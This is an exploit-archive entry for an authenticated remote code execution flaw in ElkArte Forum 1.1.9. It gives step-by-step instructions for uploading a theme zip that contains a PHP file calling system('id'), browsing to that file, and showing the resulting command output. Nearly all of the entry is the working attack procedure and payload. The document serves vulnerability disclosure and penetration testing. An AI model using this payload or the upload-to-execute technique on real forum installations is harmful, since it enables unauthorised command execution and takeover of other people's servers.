## https://sploitus.com/exploit?id=PACKETSTORM:178802
# Exploit Title : ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 2024-5-24
# Exploit Author: tmrswrr
# Category: Webapps
# Vendor Homepage: https://www.elkarte.net/
# Software Link : https://github.com/elkarte/Elkarte/releases/download/v1.1.9/ElkArte_v1-1-9_install.zip
# Version : 1.1.9
1) After login go to Manage and Install theme > https://127.0.0.1/ElkArte/index.php?action=admin;area=theme;sa=admin;c2e3e39a0d=276c2e3e39a0d65W2qg1voAFfX1yNc5m
2) Upload test.zip file and click install > test.zip > test.php > <?php echo system('id'); ?>
3) Go to Theme Setting > Theme Directory > https://127.0.0.1/ElkArte/themes/test/test.php
Result : uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte) uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte)